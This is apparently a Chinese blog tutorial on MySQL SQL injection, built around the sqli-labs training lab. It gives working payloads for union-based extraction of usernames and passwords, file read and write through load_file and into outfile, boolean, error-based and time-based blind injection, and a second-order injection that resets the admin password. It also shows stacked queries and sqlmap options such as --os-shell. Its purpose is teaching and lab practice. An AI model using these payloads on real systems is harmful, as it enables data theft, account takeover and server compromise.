SQL注入
mysql注入目的:獲取當前web權限
mysql注入--常規(guī)查詢&union聯(lián)合查詢
- MYSQL--Web組成架構
服務器搭建web服務可能存在多個站點搭建在一臺服務器中,數據集中存儲在數據庫中,因此對數據庫的管理也可以分為兩種架構:
統(tǒng)一用戶管理數據庫,即對所有站點數據庫的管理均為Root權限用戶管理
一對一用戶管理數據庫,即對不同站點數據庫管理分為不同用戶管理各自站點數據信息(最小權限原則) - 判斷注入點的四個信息
系統(tǒng)----Windows/Linux(大小寫敏感與否/文件路徑選擇)
@@version_compile_os //查看當前數據庫所在服務器系統(tǒng)
用戶----Root/普通用戶(存在root權限與否)
user() //查看當前接入數據庫用戶
數據庫名--為后面猜解數據表、列名、數據做準備
database() //查看當前接入數據庫名稱
數據庫版本--是否存在information_schema默認庫
version() //查看當前接入數據庫版本
- 根據以上信息選擇注入方案
Root權限用戶:先測試文件讀寫,后測試讀取數據(sql注入最終目的拿到Web權限,如果存在文件讀寫,權限直接獲?。?br> 非Root權限用戶:直接測試讀取數據 - 注入方法
借助MYSQL5.0以上版本自帶information_schema數據庫
information_schema
存儲MYSQL服務中所有數據庫的數據庫名、表名、列名的數據庫
information_schema.schemata
記錄MYSQL服務中所有數據庫名的數據表
schema_name
information_schema.schemata中記錄數據庫名稱的列名
information_schema.tables
記錄MYSQL服務中所有數據表信息的數據表
table_schema
information_schema.tables中記錄數據庫名稱的列名
table_name
information_schema,tables中記錄數據表名稱的列名
information_schema.columns
記錄MYSQL服務中所有列名信息的數據表
column_name
information_schema.columns中記錄列名信息的列名
手工注入:
使用order by(根據第幾個字段排序)判斷字段個數
以sqli-labs靶場舉例當order by 3時回顯正常,order by 4 數據庫報錯
使用select 1,2,3,4,5這樣的方法查看數據回顯位置,通過注入語句可知,2、3的位置為數據回顯位置
通過user()、databases()函數查看當前用戶和數據庫名稱
通過@@version_compile_os、version()查看數據庫所在操作系統(tǒng)和數據庫版本信息
union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+查詢該數據庫中的表
union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+查詢表中列名
union select 1,username,password from users--+查詢數據
mysql注入--跨庫查詢&root權限
當Web站點服務器使用Root權限用戶統(tǒng)一管理MYSQL服務,服務器中部署的其他站點也可以通過information_schema數據庫進行數據查詢
mysql注入--文件讀寫&load_file
在使用sql語句注入時可以利用mysql數據庫中內置函數對服務器中的文件進行讀寫操作,從而達到獲取權限的目標
load_file()
加載文件內容
into outfile
將數據信息導入文件
文件讀寫操作受條件影響
- 當前數據庫用戶權限
- 必須指定文件完整的路徑
- 服務器secure-file-priv設置(在一些高版本的MYSQL服務中,默認開啟了開啟了限制)
id=-1' union select%201,load_file('c:/1.txt'),3--+讀取服務器中C盤的1.txt文件
id=-1' union select 1,2,';' into outfile 'c:/1.php' --+將查詢內容輸出到指定文件
在進行文件讀寫時,受限制因素太多,因此很難實現
mysql注入--數據請求類型&符號干擾
在開發(fā)者進行編寫sql語句進行查詢時,由于傳參的數據類型或者slq語句寫法不同導致sql注入拼接失敗
- 數字型(無符號干擾)
select * from news where id=$id;
在沒有符號干擾的情況下可以直接進行注入
2. 字符型(單引號干擾)
select * from news where id='$id';
由于傳參值可能是字符型,因此傳參值要用引號括起來,在進行sql注入時要進行sql語句閉合
?id=1' union select 1,2,3,4,5,6 --+
?id=1' union select 1,2,3,4,5,6 and '1'='1
- 搜索型(模糊查詢符號干擾)
select * from news where id like '%$id%';
拼接語句可成為
?id=1%' union select 1,2,3,4,5,6 --+
?id=1%' union select 1,2,3,4,5,6 and '%1%'='%1
- 框架類
select * from news where id=('1');
select * from news where (id='1');
拼接語句為
?id=-1') union select 1,2,3,4,5,6--+
?id=-1') union select 1,2,3,4,5,6 and ('1')=('1
mysql注入-數據請求方法&GET&POST&SERVER
全局變量方法:GET POST SERVER FILES HTTP頭等
User-Agent:
使得服務器能夠識別客戶使用的操作系統(tǒng),游覽器版本等.(很多數據量大的網站中會記錄客戶使用的操作系統(tǒng)或瀏覽器版本等存入數據庫中)
Cookie:
網站為了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,(通常一些網站的防注入功能會記錄請求端真實IP地址并寫入數據庫or某文件[通過修改XXF頭可以實現偽造IP]).
Rerferer:瀏覽器向 WEB 服務器表明自己是從哪個頁面鏈接過來的.
Host:客戶端指定自己想訪問的WEB服務器的域名/IP 地址和端口號
如功能點:
- 用戶登錄時
- 登錄判斷IP時
是PHP特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受IP的繞過(繞過)
實現:代碼配置固定IP去判斷-策略繞過
實現:數據庫白名單IP去判斷-select注入
實現:防注入記錄IP去保存數據庫-insert注入 - 文件上傳將文件名寫入數據庫-insert注入
PHP-MYSQL-數據請求格式
1、數據采用統(tǒng)一格式傳輸,后端進行格式解析帶入數據庫(json)
2、數據采用加密編碼傳輸,后端進行解密解碼帶入數據庫(base64)
myslq注入--注入函數(盲注)&布爾&報錯&時間
盲注就是在程序設計過程中,由于一些原因,數據庫所查詢的數據不會進行回顯,這個時候我們就需要使用一些方法進行判斷。
- 布爾盲注
參考文章布爾盲注詳解
布爾盲注利用邏輯判斷來進行信息查詢的一種手段,需要web頁面在查詢語句邏輯true和false時候做出不同的反應
- length()猜解數據庫名稱長度
?id=1' and length(database())=8--+
?id=1' and length(database())>8--+
- left()猜解數據庫名字符
?id=1' and left(database(),1)='s'--+
?id=1' and left(database(),2)='se'--+
- substr()猜解數據庫名字符
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
- ascii()&substr()猜解數據庫名字符ASCII碼值
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,1))>115--+
- count()猜解數據庫中數據表的個數
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>4
- length()&limit猜解數據表名長度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
- left()&limit猜解數據表名稱
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
- ascii()&left()通過ascii碼猜解數據表名稱
?id=1' and ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101--+
-count()猜解指定表中的字段數量
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
-length()查詢指定數據表中的指定字段名稱的長度
?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+
-left()猜解指定表中指定字段的名稱
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i'--+
-length()猜解數據長度
?id=1'and length((select username from users limit 0,1))=4--+
-ascii()&left()猜解數據
?id=1'and ascii(left((select username from users limit 0,1),1))='68'--+
- 報錯注入
參考文章SQL注入實戰(zhàn)之報錯注入篇(updatexml extractvalue floor)
報錯注入應用在開發(fā)者給程序設計執(zhí)行sql語句時設置了容錯處理時,即在進行sql注入時有sql語句報錯提示的情況下使用的一種手段
- updatexml()
函數利用格式大致為第一個字段和第三個字段可以隨便寫,第二個字段需要使用concat()函數將分隔符號和查詢的語句進行連接,其中第二個字段的分隔符是ASCII碼表中使用16進制數代表~,這個是將報錯信息顯示出來的關鍵,在第二個字段可以輸入想要執(zhí)行的語句,具體講解可以看參考文章
?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
- etractvalue()
該函數使用方法大致與updatexml()一致,比updatexml()少了一個字段
?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
報錯注入有很多方法,但是由于數據庫版本問題等,上述兩個函數是最常用的,更多注入方法可以參考12種報錯注入+萬能語句
3. 延時注入
延時注入是通過sleep()函數和if()函數聯(lián)動,判斷輸入條件的true或flase使數據庫執(zhí)行sleep()函數進行延時查詢,從而判斷輸入條件的true或flase。
例如:通過判斷if語句中第一個條件是否為true,true執(zhí)行sleep(3),flase執(zhí)行sleep(),通過判斷頁面加載是否有延時而了解語句執(zhí)行的結果,通常執(zhí)行語句與布爾注入相結合。
?id=1' and if(1=1,sleep(3),sleep(0))--+
總結
使用場景:
- 布爾盲注
頁面有邏輯顯示,當語句邏輯正確或錯誤有不同的顯示數據時可以使用布爾盲注,布爾盲注必須要有邏輯回顯 - 報錯盲注
當查詢sql語句時,頁面返回sql語句報錯信息時存在報錯注入,報錯盲注必須要有sql報錯信息 - 延時注入
延時注入既不用有邏輯回顯,也不用有報錯信息,但是最為復雜。
基于上述注入方法繁瑣程度,一般都會選擇采用工具或編寫腳本進行注入。
mysql注入--二次注入
二次注入的意思是指,當用戶輸入惡意sql語句,將惡意sql語句在進行輸入的時候由于過濾或者轉義等各種原因,sql語句在存入數據庫的時候并不會觸發(fā),當Web頁面為了實現某種功能再次調用該sql語句時,由于沒有再次過濾或者轉移,從而導致惡意sql語句被執(zhí)行,實現二次注入。
以sqli-libs中Less24為例
注入過程大致為,在登陸界面創(chuàng)建用戶時候在用戶名選項中輸入不會觸發(fā)執(zhí)行的惡意sql語句,這時服務器通過轉義將惡意sql語句存放入數據庫,在用戶創(chuàng)建成功后登錄后進行密碼修改,在密碼修改時,服務器會帶調用用戶名選項數據但不會進行轉義從而實現sql注入的原理
創(chuàng)建用戶源代碼,其中這創(chuàng)建用戶的功能實現了將惡意sql語句注入數據庫,但不會觸發(fā)的條件
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
?>
關鍵代碼
$username= mysql_escape_string($_POST['username']) ;
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
變量$username 為接受POST表單發(fā)送過來的username并使用mysql_escape_string()函數進行過濾,該函數并不轉義%和_,它和mysql_real_escape_string()函數差不多,但是在php5.5被廢棄,php7.0中被移除。具體講解參考mysql_real_escape_string和mysql_escape_string有什么本質的區(qū)別,有什么用處,為什么被棄用?
其中在$sql中$username和$pass兩旁都使用了左斜杠將雙引號進行轉義,目的是為了避免sql解釋器將雙引號當作sql語句的結束符
所以在此處可以通過$username插入惡意代碼,由于轉移函數的原因惡意代碼并不會執(zhí)行或導致sql語句錯誤無法執(zhí)行
修改密碼部分源代碼
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
?>
<?php
if(isset($_POST['submit1']))
{
session_destroy();
setcookie('Auth', 1 , time()-3600);
header ('Location: index.php');
}
?>
關鍵代碼
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
$curr_pass接受修改密碼前的密碼用于校驗未修改時的密碼是否正確
$pass和$re_pass接受為新密碼和新密碼的確認
$sql為接受數據后修改密碼的語句,由該語句分析可知在進行密碼修改更新數據庫的時候需要調用$username去尋找被修改用戶的密碼,當數據庫調用$username時,我們在注冊用戶時所輸入的惡意sql語句就會執(zhí)行
注入過程
首先構造payload,創(chuàng)建用戶名為admin'#,單引號目的修改密碼時候用于閉合修改密碼的sql語句,#號在注冊用戶過程中會因為過濾函數過濾掉,不影響注冊過程,在修改密碼過程中注釋掉驗證 當前密碼的語句,所以最終創(chuàng)建的用戶名為admin'#,密碼設置為123456
成功插入數據庫中
修改密碼
由于二次注入調用變量$username時將驗證當前密碼是否正確的部分給注釋掉了,所以在修改密碼時當前密碼可以隨便輸。
密碼修改成功
在進行修改密碼時候的sql語句實際上就變成了修改admin的密碼
$sql = "UPDATE users SET PASSWORD='test' where username='admin'#' and password='wqdscdf' ";
進入數據庫查看admin用戶密碼是否被修改
mysql注入--堆疊注入
堆疊注入就是通過結束符同時執(zhí)行多條sql語句,
例如php中的mysqli_multi_query函數。與之相對應的mysqli_query()只能執(zhí)行一條SQL,所以要想目標存在堆疊注入,在目標主機存在類似于mysqli_multi_query()這樣的函數,根據數據庫類型決定是否支持多條語句執(zhí)行.
以sqli-lib Less-38為例
源代碼
<?php
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
}
else { echo "Please input the ID as parameter with numeric value";}
?>
關鍵代碼
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
該sql語句使用了mysqli_multi_query()函數去執(zhí)行sql語句,支持多條sql語句一起執(zhí)行,經過分析$sql語句,在注入過程中只需要使用單引號和分號將sql語句進行閉合,添加要執(zhí)行的語句并在最后添加注釋符將原sql語句中的limit注釋即可
注入語句為
?id=1';insert into users(`id`,`username`,`password`) values(17,'hack','hack')--+
查看注入結果文章來源:http://www.zghlxwxcb.cn/news/detail-677596.html
mysql注入--sqlmap
詳細文章參考sqlmap超詳細筆記+思維導圖
在對注入點進行sql注入時,首先需要判斷注入點的用戶權限,以權限高低來判斷我們的后續(xù)操作文章來源地址http://www.zghlxwxcb.cn/news/detail-677596.html
--is-dba #是否是數據庫管理員
--privileges #查看用戶權限
--users #查看所有用戶
--current-user #查看當前用戶
--sql-shell #執(zhí)行sql命令
--file-read #文件讀取
--file-write "本地文件" --file-dest "寫入地址" #文件寫入
--os-cmd= #單次執(zhí)行系統(tǒng)命令
--os-shell #交互式執(zhí)行系統(tǒng)命令
--current-db #當前數據庫
--dbs #所有數據庫
--tables -D"庫名" #指定庫下所有表
--columns -T"表名" -D"庫名" #指定庫下指定表中所有字段名
-C "字段名" -T"表名" -D"庫名" --dump #報出指定字段中的數據
-r "數據包文件地址" #數據包注入
--tamper"模塊名稱" #使用tamper模塊注入
-v"1-6" #顯示詳細等級
--user-agent "" #自定義user-agent
--random-agent #隨機user-agent
--time-sec=(2,5) #延遲響應,默認為5
--level=(1-5) #要執(zhí)行的測試水平等級,默認為1
--risk=(0-3) #測試執(zhí)行的風險等級,默認為1
--proxy #使用代理注入
到了這里,關于Web通用漏洞--sql注入的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!